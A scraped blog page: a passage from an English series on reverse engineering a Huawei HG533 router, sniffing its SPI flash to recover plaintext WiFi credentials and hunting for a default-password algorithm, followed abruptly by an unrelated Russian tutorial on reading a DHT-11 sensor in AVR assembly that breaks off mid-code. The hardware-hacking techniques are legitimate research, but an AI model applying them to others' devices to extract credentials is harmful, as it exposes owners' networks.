In the datasheet we can see that the FL064PIF has high-performance features for read and write operations: Dual and Quad options that multiplex the data over more lines to increase the transmission speed. From taking a few samples, it doesn’t seem like the router uses these features much -if at all-, but it’s important to keep the possibility in mind in case we see something odd in a capture.

Transmission modes that require additional pins can be a problem if your logic analyser is not powerful enough.

The Importance of Your Sampling Rate [Theory]

A logic analyser is a conceptually simple device: It reads signal lines as digital inputs every x microseconds for y seconds, and when it’s done it sends the data to your computer to be analysed.

For the protocol analyser to generate accurate data it’s vital that we record digital inputs faster than the device writes them. Otherwise the data will be mangled by missing bits or deformed waveforms.

Unfortunately, your logic analyser’s maximum sampling rate depends on how powerful/expensive it is and how many lines you need to sniff at a time. High-speed interfaces with multiple data lines can be a problem if you don’t have access to expensive equipment.

I recorded this data from the Ralink-Flash SPI bus using a low-end Saleae analyser at its maximum sampling rate for this number of lines, 24 MS/s:

Picture of Deformed Clock Signal

As you can see, even though the clock signal has the 8 low to high transitions required for each byte, the waveform is deformed.

Since the clock signal is used to coordinate when to read the data lines, this kind of waveform deformation may cause data corruption even if we don’t drop any bits (depending partly on the design of your logic analyser). There’s always some wiggle room for read inaccuracies, and we don’t need 100% correct data at this point, but it’s important to keep all error vectors in mind.

Let’s sniff the same bus using a higher performance logic analyser at 100 MS/s:

High Sampling Rate SPI Sample Reading

As you can see, this clock signal is perfectly regular when our Sampling Rate is high enough.

If you see anything dodgy in your traffic capture, consider how much data you’re willing to lose and whether you’re being limited by your equipment. If that’s the case, either skip this Reversing vector or consider investing in a better logic analyser.

Seeing the Data Flow

We’re already familiar with the system thanks to the overview of the firmware we did in Part 2, so we can think of some specific SPI transmissions that we may be interested in sniffing. Simply connecting an oscilloscope to the MISO and MOSI pins will help us figure out how to trigger those transmissions and yield some other useful data.

Scope and UART Connected

Here’s a video (no audio) showing both the serial interface and the MISO/MOSI signals while we manipulate the router:

This is a great way of easily identifying processes or actions that trigger flash read/write actions, and will help us find out when to start recording with the logic analyser and for how long.

Analysing SPI Traffic — ATP’s Save Command

In Post 2 I mentioned ATP CLI has a save command that stores something to flash; unfortunately, the help menu (save ?) won’t tell you what it’s doing and the only output when you run it is a few dots that act as a progress bar. Why don’t we find out by ourselves? Let’s make a plan:

Wait until boot sequence is complete and the router is idle so there’s no unexpected SPI traffic
Start the ATP Cli as explained in Part 1
Connect the oscilloscope to MISO/MOSI and run save to get a rough estimate of how much time we need to capture data for
Set a trigger in the enable line sniffed by the logic analyser so it starts recording as soon as the flash IC is selected
Run save
Analyse the captured data

Steps 3 and 4 can be combined so you see the data flow in real time in the scopewhile you see the charge bar for the logic analyser; that way you can make sure you don’t miss any data. In order to comfortably connect both scope and logic sniffer to the same pins, these test clips come in very handy:

SOIC16 Test Clip Connected to Flash IC

Once we’ve got the traffic we can take a first look at it:

Analysing Save Capture on Logic

Let’s consider what sort of data could be extracted from this traffic dump that might be useful to us. We’re working with a memory storage IC, so we can see the data that is being read/written and the addresses where it belongs. I think we can represent that data in a useful way by 2 means:

Traffic map depicting which Flash areas are being written, read or erased in chronological order
Create binary files that replicate the memory blocks that were read/written, preferably removing all the protocol rubbish that we sniffed along with them.

Saleae’s SPI analyser will export the data as a CSV file. Ideally we’d improve their protocol analyser to add the functionality we want, but that would be too much work for this project. One of the great things about low level protocols like SPI is that they’re usually very straightforward; I decided to write some python spaghetti code to analyse the CSV file and extract the data we’re looking for: binmaker.py andtraffic_mapper.py

The workflow to analyse a capture is the following:

Export sniffed traffic as CSV
Run the script:
- Iterate through the CSV file
- Identify different commands by their index
- Recognise the command expressed by the first byte
- Process its arguments (addresses, etc.)
- Identify the read/write payload
- Convert ASCII representation of each payload byte to binary
- Write binary blocks to different files for MISO (read) and MOSI (write)
Read the traffic map (regular text) and the binaries (hexdump -C output.bin | less)

The scripts generate these results:

Traffic Map
Replicated Memory Blocks, Merged: MOSI and MISO
Replicated Memory Blocks, Split by address: Files list

The traffic map is much more useful when combined with the Flash memory map we found in Part 2:

Flash Memory Map From Part 2

From the traffic map we can see the bulk of the save command’s traffic is simple:

Read about 64kB of data from the protect area
Overwrite the data we just read

In the MISO binary we can see most of the read data was just tons of 1s:

Picture MISO Hexdump 0xff

Most of the data in the MOSI binary is plaintext XML, and it looks exactly like the /var/curcfg.xml file we discovered in Part 2. As we discussed then, this “current configuration” file contains tons of useful data, including the current WiFi credentials.

It’s standard to keep reserved areas in flash; they’re mostly for miscellaneous data that needs to survive across reboots and be configurable by user, firmware or factory. It makes sense for a command called save to write data to such area, it explains why the data is perfectly readable as opposed to being compressed like the filesystem, and why we found the XML file in the /var/ folder of the filesystem (it’s a folder for runtime files; data in the protect area has to be loaded to memory separately from the filesystem).

The Pot of Gold at the End of the Firmware [Theory]

During this whole process it’s useful to have some sort of target to keep you digging in the same general direction.

Our target is an old one: the algorithm that generates the router’s default WiFi password. If we get our hands on such algorithm and it happens to derive the password from public information, any HG533 in the world with default WiFi credentials would probably be vulnerable.

That exact security issue has been found countless times in the past, usually deriving the password from public data like the Access Point’s MAC address or its SSID.

That being said, not all routers are vulnerable, and I personally don’t expect this one to be. The main reason behind targeting this specific vector is that it’s caused by a recurrent problem in embedded engineering: The need for a piece of data that is known by the firmware, unique to each device and known by an external entity. From default WiFi passwords to device credentials for IoT devices, this problem manifests in different ways all over the Industry.

Future posts will probably reference the different possibilities I’m about to explain, so let me get all that theory out of the way now.

The Sticker Problem

In this day and era, connecting to your router via ethernet so there’s no need for default WiFi credentials is not an option, using a display to show a randomly generated password would be too expensive, etc. etc. etc. The most widely adopted solution for routers is to create a WiFi network using default credentials, print those credentials on a sticker at the factory and stick it to the back of the device.

Router Sticker - Annotated

The WiFi password is the ‘unique piece of data’, and the computer printing the stickers in the factory is the ‘external entity’. Both the firmware and the computer need to know the default WiFi credentials, so the engineer needs to decide how to coordinate them. Usually there are 2 options available:

The same algorithm is implemented in both the device and the computer, and its input parameters are known to both of them
A computer generates the credentials for each device and they’re stored into each device separately

Developer incompetence aside, the first approach is usually taken as a last resort; if you can’t get your hardware manufacturer to flash unique data to each device or can’t afford the increase in manufacturing cost.

The second approach is much better by design: We’re not trusting the hardware with data sensitive enough to compromise every other device in the field. That being said, the company may still decide to use an algorithm with predictable outputs instead of completely random data; that would make the system as secure as the weakest link between the algorithm -mathematically speaking-, the confidentiality of their source code and the security of the computers/network running it.

Sniffing Factory Reset

So now that we’ve discussed our target, let’s gather some data about it. The first thing we wanna figure out is which actions will kickstart the flow of relevant data on the PCB. In this case there’s 1 particular action: Pressing the Factory Reset button for 10s. This should replace the existing WiFi credentials with the default ones, so the default creds will have to be generated/read. If the key or the generation algorithm need to be retrieved from Flash, we’ll see them in a traffic capture.

That’s exactly what we’re gonna do, and we’re gonna observe the UART interface, the oscilloscope and the logic analyser during/after pressing the reset button. The same process we followed for ATP’s save gives us these results:

UART output:

UART Factory Reset Debug Messages

Traffic overview:

Logic Screencap Traffic Overview

Output from our python scripts:

The traffic map tells us the device first reads and overwrites 2 large chunks of data from the protect area and then reads a smaller chunk of data from the filesystem (possibly part of the next process to execute):

___________________
|Transmission  Map|
|  MOSI  |  MISO  |
|        |0x7e0000| Size: 12    //Part of the Protected area
|        |0x7e0000| Size: 1782
|        |0x7e073d| Size: 63683
| ERASE 0x7e073d  | Size: 64kB
|0x7e073d|        | Size: 195
|0x7e0800|        | Size: 256
|0x7e0900|        | Size: 256
---------//--------
       [...]
---------//--------
|0x7e0600|        | Size: 256
|0x7e0700|        | Size: 61
|        |0x7d0008| Size: 65529 //Part of the Protected area
| ERASE 0x7d0008  | Size: 64kB
|0x7d0008|        | Size: 248
|0x7d0100|        | Size: 256
---------//--------
       [...]
---------//--------
|0x7dff00|        | Size: 256
|0x7d0000|        | Size: 8
|        |0x1c3800| Size: 512   //Part of the Filesystem
|        |0x1c3a00| Size: 512
---------//--------
       [...]
---------//--------
|        |0x1c5a00| Size: 512
|        |0x1c5c00| Size: 512
-------------------

Once again, we combine transmission map and binary files to gain some insight into the system. In this case, the ‘factory reset’ code seems to:

Read ATP_LOG from Flash; it contains info such as remote router accesses or factory resets. It ends with a large chunk of 1s (0xff)
Overwrite that memory segment with 1s
write a ‘new’ ATP_LOG followed by the “current configuration” curcfg.xmlfile
Read compressed (unintelligible to us) memory chunk from the filesystem

The chunk from the filesystem is read AFTER writing the new password to Flash, which doesn’t make sense for a password generation algorithm. That being said, the algorithm may be already loaded into memory, so its absence in the SPI traffic is not conclusive on whether or not it exists.

As part of the MOSI data we can see the new WiFi password be saved to Flash inside the XML string:

Found Current Password MOSI

What about the default password being read? If we look in the MISO binary, it’s nowhere to be seen. Either the Ralink is reading it using a different mode (secure/dual/quad/?) or the credentials/algorithm are already loaded in RAM (no need to read them from Flash again, since they can’t change). The later seems more likely, so I’m not gonna bother updating my scripts to support different read modes. We write down what we’ve found and we’ll get back to the default credentials in the next part.

Since we’re at it, let’s take a look at the SPI traffic generated when setting new WiFi credentials via HTTP: Map, MISO, MOSI. We can actually see the default credentials being read from the protect area of Flash this time (not sure why the Ralink would load it to set a new password; it’s probably incidental):

Default WiFi Creds In MISO Capture

As you can see, they’re in plain text and separated from almost anything else in Flash. This may very well mean there’s no password generation algorithm in this device, but it is NOT conclusive. The developers could have decided to generate the credentials only once (first boot?) and store them to flash in order to limit the number of times the algorithm is accessed/executed, which helps hide the binary that contains it. Otherwise we could just observe the running processes in the router while we press the Factory Reset button and see which ones spawn or start consuming more resources.

Next Steps

Now that we’ve got the code we need to create binary recreations of the traffic and transmission maps, getting from a capture to binary files takes seconds. I captured other transmissions such as the first few seconds of boot (map, miso), but there wasn’t much worth discussing. The ability to easily obtain such useful data will probably come in handy moving forward, though.

In the next post we get the data straight from the source, communicating with the Flash IC directly to dump its memory. We’ll deal with compression algorithms for the extracted data, and we’ll keep piecing everything together.

Happy Hacking! 🙂

05.06.2018

Как программировать Arduino на ассемблере

Читаем данные с датчика температуры DHT-11 на «голом» железе Arduino Uno ATmega328p используя только ассемблер

Попробуем на простом примере рассмотреть, как можно “хакнуть” Arduino Uno и начать писать программы в машинных кодах, т.е. на ассемблере для микроконтроллера ATmega328p. На данном микроконтроллере собственно и собрана большая часть недорогих «классических» плат «duino». Данный код также будет работать на практически любой demo плате на ATmega328p и после небольших возможных доработок на любой плате Arduino на Atmel AVR микроконтроллере. В примере я постарался подойти так близко к железу, как это только возможно. Для лучшего понимания того, как работает микроконтроллер не будем использовать какие-либо готовые библиотеки, а уж тем более Arduino IDE. В качестве учебно-тренировочной задачи попробуем сделать самое простое что только возможно — правильно и полезно подергать одной ногой микроконтроллера, ну то есть будем читать данные из датчика температуры и влажности DHT-11.

Arduino очень клевая штука, но многое из того что происходит с микроконтроллером специально спрятано в дебрях библиотек и среды Arduino для того чтобы не пугать новичков. Поигравшись с мигающим светодиодом я захотел понять, как микроконтроллер собственно работает. Помимо утоления чисто познавательного зуда, знание того как работает микроконтроллер и стандартные средства общения микроконтроллера с внешним миром — это называется «периферия», дает преимущество при написании кода как для Arduino так и при написания кода на С/Assembler для микроконтроллеров а также помогает создавать более эффективные программы. Итак, будем делать все наиболее близко к железу, у нас есть: плата совместимая с Arduino Uno, датчик DHT-11, три провода, Atmel Studio и машинные коды.

Для начало подготовим нужное оборудование.

Писать код будем в Atmel Studio 7 — бесплатно скачивается с сайта производителя микроконтроллера — Atmel.

Весь код запускался на клоне Arduino Uno — у меня это DFRduino Uno от DFRobot, на контроллере ATmega328p работающем на частоте 16 MHz — отличная надежная плата. Каких-либо отличий от стандартного Uno в процессе эксплуатации я не заметил. Похожая чорная плата от DFBobot, только “Mega” отлетала у меня 2 года в качестве управляющего контроллера квадрокоптера — куда ее только не заносило — проблем не было.

Для просмотра сигналов длительностью в микросекунды (а это на минутку 1 миллионная доля секунды), я использовал штуку, которая называется “логический анализатор”. Конкретно, я использовал клон восьмиканального USBEE AX Pro. Как смотреть для отладки такие быстрые процессы без осциллографа или логического анализатора — на самом деле даже не знаю, ничего посоветовать не могу.

Прежде всего я подключил свой клон Uno — как я говорил у меня это DFRduino Uno к Atmel Studio 7 и решил попробовать помигать светодиодиком на ассемблере. Как подключить описанно много где, один из примеров по ссылке в конце. Код пишется прямо в студии, прошивать плату можно через USB порт используя привычные возможности загрузчика Arduino -через AVRDude. Можно шить и через внешний программатор, я пробовал на китайском USBASP, по факту у меня оба способа работали. В обоих случаях надо только правильно настроить прошивальщик AVRDude, пример моих настроек на картинке

Полная строка аргументов:
-C “C:\avrdude\avrdude.conf” -p atmega328p -c arduino -P COM7 115200 -U flash:w:”$(ProjectDir)Debug\$(TargetName).hex:i

В итоге, для простоты я остановился на прошивке через USB порт — это стандартный способ для Arduio. На моей UNO стоит чип ATmega 328P, его и надо указать при создании проекта. Нужно также выбрать порт к которому подключаем Arduino — на моем компьютере это был COM7.

Для того, чтобы просто помигать светодиодом никаких дополнительных подключений не нужно, будем использовать светодиод, размещенный на плате и подключенный к порту Arduino D13 — напомню, что это 5-ая ножка порта «PORTB» контроллера.

Подключаем плату через USB кабель к компьютеру, пишем код в студии, прошиваем прямо из студии. Основная проблема здесь собственно увидеть это мигание, поскольку контроллер фигачит на частоте 16 MHz и, если включать и выключать светодиод такой же частотой мы увидим тускло горящий светодиод и собственно все.

Для того чтобы увидеть, когда он светится и когда он потушен, мы зажжем светодиод и займем процессор какой-либо бесполезной работой на примерно 1 секунду. Саму задержку можно рассчитать вручную зная частоту — одна команда выполняется за 1 такт или используя специальный калькулятор по ссылки внизу. После установки задержки, код выполняющий примерно то же что делает классический «Blink» Arduino может выглядеть примерно так:

      			cli
			sbi DDRB, 5	; PORT B, Pin 5 - на выход
			sbi PORTB, 5	; выставили на Pin 5 лог единицу

loop:						    ; delay 1000 ms
			ldi  r18, 82
			ldi  r19, 43
			ldi  r20, 0
L1:			dec  r20
			brne L1
			dec  r19
			brne L1
			dec  r18
			brne L1
			nop
			
			in R16, PORTB	; переключили XOR 5-ый бит в порту
			ldi R17, 0b00100000
			EOR R16, R17
			out PORTB, R16
			
			rjmp loop

еще раз — на моей плате светодиод Arduino (D13) сидит на 5 ноге порта PORTB ATmeg-и.

Но на самом деле так писать не очень хорошо, поскольку мы полностью похерили такие важные штуки как стек и вектор прерываний (о них — позже).

Ок, светодиодиком помигали, теперь для того чтобы практика работа с GPIO была более или менее осмысленной прочитаем значения с датчика DHT11 и сделаем это также целиком на ассемблере.

Для того чтобы прочитать данные из датчика нужно в правильной последовательность выставлять на рабочей линии датчика сигналы высокого и низкого уровня — собственно это и называется дергать ногой микроконтроллера. С одной стороны, ничего сложного, с другой стороны все какая-то осмысленная деятельность — меряем температуру и влажность — можно сказать сделали первый шаг к построению какой ни будь «Погодной станции» в будущем.

Забегая на один шаг вперед, хорошо бы понять, а что собственно с прочитанными данными будем делать? Ну хорошо прочитали мы значение датчика и установили значение переменной в памяти контроллера в 23 градуса по Цельсию, соответственно. Как посмотреть на эти цифры? Решение есть! Полученные данные я буду смотреть на большом компьютере выводя их через USART контроллера через виртуальный COM порт по USB кабелю прямо в терминальную программу типа PuTTY. Для того чтобы компьютер смог прочитать наши данные будем использовать преобразователь USB-TTL — такая штука которая и организует виртуальный COM порт в Windows.

Сама схема подключения может выглядеть примерно так:

Сигнальный вывод датчика подключен к ноге 2 (PIN2) порта PORTD контролера или (что то же самое) к выводу D2 Arduino. Он же через резистор 4.7 kOm “подтянут” на “плюс” питания. Плюс и минус датчика подключены — к соответствующим проводам питания. USB-TTL переходник подключен к выходу Tx USART порта Arduino, что значит PIN1 порта PORTD контроллера.

В собранном виде на breadboard:

Разбираемся с датчиком и смотрим datasheet. Сам по себе датчик несложный, и использует всего один сигнальный провод, который надо подтянуть через резистор к +5V — это будет базовый «высокий» уровень на линии. Если линия свободна — т.е. ни контроллер, ни датчик ничего не передают, на линии как раз и будет базовый «высокий» уровень. Когда датчик или контроллер что-то передают, то они занимают линию — устанавливают на линии «низкий» уровень на какое-то время. Всего датчик передает 5 байт. Байты датчик передает по очереди, сначала показатели влажности, потом температуры, завершает все контрольной суммой, это выглядит как “HHTTXX”, в общем смотрим datasheet. Пять байт — это 40 бит и каждый бит при передаче кодируется специальным образом.

Для упрощения, будет считать, что «высокий» уровень на линии — это «единица», а «низкий» соответственно «ноль». Согласно datasheet для начала работы с датчиком надо положить контроллером сигнальную линию на землю, т.е. получить «ноль» на линии и сделать это на период не менее чем 20 милсек (миллисекунд), а потом резко отпустить линию. В ответ — датчик должен выдать на сигнальную линию свою посылку, из сигналов высокого и низкого уровня разной длительности, которые кодируют нужные нам 40 бит. И, согласно datasheet, если мы удачно прочитаем эту посылку контроллером, то мы сразу поймем что: а) датчик собственно ответил, б) передал данные по влажности и температуре, с) передал контрольную сумму. В конце передачи датчик отпускает линию. Ну и в datasheet написано, что датчик можно опрашивать не чаще чем раз в секунду.

Итак, что должен сделать микроконтроллер, согласно datasheet, чтобы датчик ему ответил — нужно прижать линию на 20 миллисекунд, отпустить и быстро смотреть, что на линии:

Датчик должен ответить — положить линию в ноль на 80 микросекунд (мксек), потом отпустить на те же 80 мксек — это можно считать подтверждением того, что датчик на линии живой и откликается:

После этого, сразу же, по падению с высокого уровня на нижний датчик начинает передавать 40 отдельных бит. Каждый бит кодируются специальной посылкой, которая состоит из двух интервалов. Сначала датчик занимает линию (кладет ее в ноль) на определенное время — своего рода первый «полубит». Потом датчик отпускает линию (линия подтягивается к единице) тоже на определенное время — это типа второй «полубит». Длительность этих интервалов — «полубитов» в микросекундах кодирует что собственно пытается передать датчик: бит “ноль” или бит “единица”.

Рассмотрим описание битовой посылки: первый «полубит» всегда низкого уровня и фиксированной длительности — около 50 мксек. Длительность второго «полубита» определят, что датчик собственно передает.

Для передачи нуля используется сигнал высокого уровня длительностью 26–28 мксек:

Для передачи единицы, длительность сигнала высокого увеличивается до 70 микросекунд:

Мы не будет точно высчитывать длительность каждого интервала, нам вполне достаточно понимания, что если длительность второго «полубита» меньше чем первого — то закодирован ноль, если длительность второго «полубита» больше — то закодирована единица. Всего у нас 40 бит, каждый бит кодируется двумя импульсами, всего нам надо значит прочитать 80 интервалов. После того как прочитали 80 интервалов будем сравнить их попарно, первый “полубит” со вторым.

Вроде все просто, что же требуется от микроконтроллера для того чтобы прочитать данные с датчика? Получается нужно значит дернуть ногой в ноль, а потом просто считать всю длинную посылку с датчика на той же ноге. По ходу, будем разбирать посылку на «полу-биты», определяя где передается бит ноль, где единица. Потом соберем получившиеся биты, в байты, которые и будут ожидаемыми данными о влажности и температуре.

Ок, мы начали писать код и для начала попробуем проверить, а работает ли вообще датчик, для этого мы просто положим линию на 20 милсек и посмотрим на линии, что из этого получится логическим анализатором.

Определения:

==========		DEFINES =======================================
; определения для порта, к которому подключем DHT11			
				.EQU DHT_Port=PORTD
				.EQU DHT_InPort=PIND
				.EQU DHT_Pin=PORTD2
				.EQU DHT_Direction=DDRD
				.EQU DHT_Direction_Pin=DDD2

				.DEF Tmp1=R16
				.DEF USART_ByteR=R17		; переменная для отправки байта через USART
				.DEF Tmp2=R18
				.DEF USART_BytesN=R19		; переменная - сколько байт отправить в USART
				.DEF Tmp3=R20
				.DEF Cycle_Count=R21		; счетчик циклов в Expect_X
				.DEF ERR_CODE=R22			; возврат ошибок из подпрограмм
				.DEF N_Cycles=R23			; счетчик в READ_CYCLES
				.DEF ACCUM=R24
				.DEF Tmp4=R25

Как я уже писал сам датчик подключен на 2 ногу порта D. В Arduino Uno это цифровой выход D2 (смотрим для проверки Arduino Pinout).

Все делаем тупо: инициализировали порт на выход, выставили ноль, подождали 20 миллисекунд, освободили линию, переключили ногу в режим чтения и ждем появление сигналов на ноге.

;============	DHD11 INIT =======================================
; после инициализации сразу !!!! надо считать ответ контроллера и собственно данные
DHT_INIT:		CLI	; еще раз, на всякий случай - критичная ко времени секция

				; сохранили X для использования в READ_CYCLES - там нет времени инициализировать
				LDI XH, High(CYCLES)	; загрузили старшйи байт адреса Cycles
				LDI XL, Low (CYCLES)	; загрузили младший байт адреса Cycles

				LDI Tmp1, (1<<DHT_Direction_Pin)
				OUT DHT_Direction, Tmp1			; порт D, Пин 2 на выход

				LDI Tmp1, (0<<DHT_Pin)
				OUT DHT_Port, Tmp1			; выставили 0 

				RCALL DELAY_20MS		; ждем 20 миллисекунд

				LDI Tmp1, (1<<DHT_Pin)		; освободили линию - выставили 1
				OUT DHT_Port, Tmp1	

				RCALL DELAY_10US		; ждем 10 микросекунд

				
				LDI Tmp1, (0<<DHT_Direction_Pin)		; порт D, Pin 2 на вход
				OUT DHT_Direction, Tmp1	
				LDI Tmp1,(1<<DHT_Pin)		; подтянули pull-up вход на вместе с внешним резистором на линии
				OUT DHT_Port, Tmp1		

; ждем ответа от сенсора - он должен положить линию в ноль на 80 us и отпустить на 80 us

Смотрим анализатором — а ответил ли датчик?

Да, ответ есть — вот те сигналы после нашего первого импульса в 20 милсек — это и есть ответ датчика. Для просмотра посылки я использовал китайский клон USBEE AX Pro который подключен к сигнальному проводу датчика.

Растянем масштаб так чтобы увидеть окончание нашего импульса в 20 милсек и лучше увидеть начало посылки от датчика — смотрим все как в datasheet — сначала датчик выставил низкий/высокий уровень по 80 мксек, потом начал передавать биты — а данном случае во втором «полубите» передается «0»

Значит датчик работает и данные нам прислал, теперь надо эти данные правильно прочитать. Поскольку задача у нас учебная, то и решать ее будем тупо в лоб. В момент ответа датчика, т.е. в момент перехода с высокого уровня в низкий, мы запустим цикл с счетчиком числа повторов нашего цикла. Внутри цикла, будем постоянно следить за уровнем сигнала на ноге. Итого, в цикле будем ждать, когда сигнал на ноге перейдет обратно на высокий уровень — тем самым определив длительность сигнала первого «полубита». Наш микроконтроллер работает на частоте 16 MHz и за период например в 50 микросекунд контроллер успеет выполнить около 800 инструкций. Когда на линии появится высокий уровень — то мы из цикла аккуратно выходим, а число повторов цикла, которые мы отсчитали с использованием счетчика — запоминаем в переменную.

После перехода сигнальной линии уже на высокий уровень мы делаем такую же операцию– считаем циклы, до момента когда датчик начнет передавать следующий бит и положит линию в низкий уровень. К счастью, нам не надо знать точный временной интервал наших импульсов, нам достаточно понимать, что один интервал больше другого. Понятно, что если датчик передает бит «ноль» то длительность второго «полубита» и соответственно число циклов, которые мы отсчитали будет меньше чем длительность первого «полубита». Если же датчик передал бит «единица», то число циклов которые мы насчитаем во время второго полубита будет больше чем в первым.

И для того что бы мы не висели вечно, если вдруг датчик не ответил или засбоил, сам цикл мы будем запускать на какой-то временной период, но который гарантированно больше самой длинной посылки, чтоб если датчик не ответил, то мы смогли выйти по тайм-ауту.

В данном случае показан пример для ситуации, когда у нас на линии был ноль, и мы считаем сколько раз мы в цикле мы считали состояние ноги контроллера, пока датчик не переключил линию в единицу.

;=============	EXPECT 1 =========================================
; крутимся в цикле ждем нужного состояния на пине
; когда появилось - выходим
; сообщаем сколько циклов ждали
; или сообщение об ошибке тайм оута если не дождались
EXPECT_1:		LDI Cycle_Count, 0			; загрузили счетчик циклов
			LDI ERR_CODE, 2			; Ошибка 2 - выход по тайм Out

			ldi  Tmp1, 2			; Загрузили 
			ldi  Tmp2, 169			; задержку 80 us

EXP1L1:			INC Cycle_Count			; увеличили счетчик циклов

			IN Tmp3, DHT_InPort		; читаем порт
			SBRC Tmp3, DHT_Pin	; Если 1 
			RJMP EXIT_EXPECT_1	; То выходим
			dec  Tmp2			; если нет то крутимся в задержке
			brne EXP1L1
			dec  Tmp1
			brne EXP1L1
			NOP					; Здесь выход по тайм out
			RET

EXIT_EXPECT_1:		LDI ERR_CODE, 1			; ошибка 1, все нормально, в Cycle_Count счетчик циклов
			RET

Аналогичная подпрограмма используется для того, чтобы посчитать сколько циклов у нас должно прокрутиться, пока датчик из состояния ноль на линии переложил линию в состояние единицы.

Для расчета временных задержек мы будет использовать тот же подход, который мы использовали при мигании светодиодом — подберем параметры пустого цикла для формирования нужной паузы. Я использовал специальный калькулятор. При желании можно посчитать число рабочих инструкций и вручную.

Памяти в нашем контроллере довольно много — аж 2 (Два) килобайта, так что мы не будем жлобствовать с памятью, и тупо сохраним данные счетчиков относительно наших 80 ( 40 бит, 2 интервала на бит) интервалов в память.

Объявим переменную

CYCLES: .byte 80 ; буфер для хранения числа циклов

И сохраним все считанные циклы в память.

;============== READ CYCLES ====================================
; читаем биты контроллера и сохраняем в Cycles 
READ_CYCLES:	LDI N_Cycles, 80			; читаем 80 циклов
READ:		NOP
		RCALL EXPECT_1				; Открутился 0
		ST X+, Cycles_Counter			; Сохранили число циклов 
			
		RCALL EXPECT_0
		ST X+, Cycles_Counter			; Сохранили число циклов 
		
		DEC N_Cycles				; уменьшили счетчик
		BRNE READ					
		RET					; все циклы считали

Теперь, для отладки, попробуем посмотреть насколько удачно посчиталось длительность интервалов и понять действительно ли мы считали данные из датчика. Понятно, что число отсчитанных циклов первого «полубита» должно быть примерно одинаково у всех битовых посылок, а вот число циклов при отсчете второго «полубита» будет или существенно меньше, или наоборот существенно больше.

Для того чтобы передавать данные в большой компьютер будем использовать USART контроллера, который через USB кабель будет передавать данные в программу — терминал, например PuTTY. Передаем опять же тупо в лоб — засовываем байт в нужный регистр управления USART-а и ждем, когда он передастся. Для удобства я также использовал пару подпрограмм, типа — передать несколько байт, начиная с адреса в Y, ну и перевести каретку в терминале для красоты.

;============	SEND 1 BYTE VIA USART =====================
SEND_BYTE:	NOP
SEND_BYTE_L1:	LDS Tmp1, UCSR0A
		SBRS Tmp1, UDRE0			; если регистр данных пустой
		RJMP SEND_BYTE_L1
		STS UDR0, USART_ByteR		; то шлем байт из R17
		NOP
		RET				

;============	SEND CRLF VIA USART ===============================
SEND_CRLF:	LDI USART_ByteR, $0D
		RCALL SEND_BYTE	
		LDI USART_ByteR, $0A
		RCALL SEND_BYTE
		RET			

;============	SEND N BYTES VIA USART ============================
; Y - что слать, USART_BytesN - сколько байт
SEND_BYTES:	NOP
SBS_L1:		LD USART_ByteR, Y+
		RCALL SEND_BYTE
		DEC USART_BytesN
		BRNE SBS_L1
		RET

Отправив в терминал число отсчётов для 80 интервалов, можно попробовать собрать собственно значащие биты. Делать будем как написано в учебнике, т.е. в datasheet — попарно сравним число циклов первого «полубита» с числом циклов второго. Если вторые пол-бита короче — значит это закодировать ноль, если длиннее — то единица. После сравнения биты накапливаем в аккумуляторе и сохраняем в память по-байтово начиная с адреса BITS.

;=============	GET BITS ===============================================
; Из Cycles делаем байты в  BITS				
GET_BITS:			LDI Tmp1, 5			; для пяти байт - готовим счетчики
				LDI Tmp2, 8			; для каждого бита
				LDI ZH, High(CYCLES)	; загрузили старшйи байт адреса Cycles
				LDI ZL, Low (CYCLES)	; загрузили младший байт адреса Cycles
				LDI YH, High(BITS)	; загрузили старший байт адреса BITS
				LDI YL, Low (BITS)	; загрузили младший байт адреса BITS

ACC:				LDI ACCUM, 0			; акамулятор инициализировали
				LDI Tmp2, 8			; для каждого бита

TO_ACC:				LSL ACCUM				; сдвинули влево
				LD Tmp3, Z+			; считали данные [i]
				LD Tmp4, Z+			; о циклах и [i+1]
				CP Tmp3, Tmp4			; сравнить первые пол бита с второй половину бита если положительно - то BITS=0, если отрицительно то BITS=1
				BRPL J_SHIFT		; если положительно (0) то просто сдвиг	
				ORI ACCUM, 1			; если отрицательно (1) то добавили 1
J_SHIFT:			DEC Tmp2				; повторить для 8 бит
				BRNE TO_ACC
				ST Y+, ACCUM			; сохранили акамулятор
				DEC Tmp1				; для пяти байт
				BRNE ACC
				RET

Итак, здесь мы собрали в памяти начиная с метки BITS те пять байт, которые передал контроллер. Но работать с ними в таком формате не очень неудобно, поскольку в памяти это выглядит примерно, как:
34002100ХХ, где 34 — это влажность целая часть, 00 — данные после запятой влажности, 21 — температура, 00 — опять данные после запятой температуры, ХХ — контрольная сумма. А нам надо бы вывести в терминал красиво типа «Temperature = 21.00». Так что для удобства, растащим данные по отдельным переменным.

Определения

H10:			.byte 1		; чиcло - целая часть влажность
H01:			.byte 1		; число - дробная часть влажность
T10:			.byte 1		; число - целая часть температура в C
T01:			.byte 1		; число - дробная часть температура

И сохраняем байты из BITS в нужные переменные

;============	GET HnT DATA =========================================
; из BITS вытаскиваем цифры H10...
; !!! чуть хакнули, потому что H10 и дальше... лежат последовательно в памяти

GET_HnT_DATA:	NOP

				LDI ZH, HIGH(BITS)
				LDI ZL, LOW(BITS)
				LDI XH, HIGH(H10)
				LDI XL, LOW(H10)
												; TODO - перевести на счетчик таки
				LD Tmp1, Z+			; Считали
				ST X+, Tmp1			; сохранили
				
				LD Tmp1, Z+			; Считали
				ST X+, Tmp1			; сохранили

				LD Tmp1, Z+			; Считали
				ST X+, Tmp1			; сохранили

				LD Tmp1, Z+			; Считали
				ST X+, Tmp1			; сохранили

				RET

После этого преобразуем цифры в коды ASCII, чтобы данные можно было нормально прочитать в терминале, добавляем названия данных, ну там «температура» из флеша и шлем в COM порт в терминал.

Для того, чтобы это измерять температуру регулярно добавляем вечный цикл с задержкой порядка 1200 миллисекунд, поскольку datasheet DHT11 говорит, что не рекомендуется опрашивать датчик чаще чем 1 раз в секунду.

Основной цикл после этого выглядит примерно так:

;============	MAIN
			;!!! Главный вход
RESET:			NOP		

			; Internal Hardware Init
			CLI		; нам прерывания не нужны пока
				
			; stack init		
			LDI Tmp1, Low(RAMEND)
			OUT SPL, Tmp1
			LDI Tmp1, High(RAMEND)
			OUT SPH, Tmp1

			RCALL USART0_INIT

			; Init data
			RCALL COPY_STRINGS		; скопировали данные в RAM
			RCALL TEST_DATA			; подготовили тестовые данные

loop:				NOP						; крутимся в вечном цикле ....
				; External Hardware Init
				RCALL DHT_INIT
				; получили здесь подтверждение контроллера и надо в темпе читать биты
				RCALL READ_CYCLES
				; критичная ко времени секция завершилась...
				
				;Тест - отправить Cycles в USART		
				;RCALL TEST_CYCLES
				
				; получаем из посылки биты
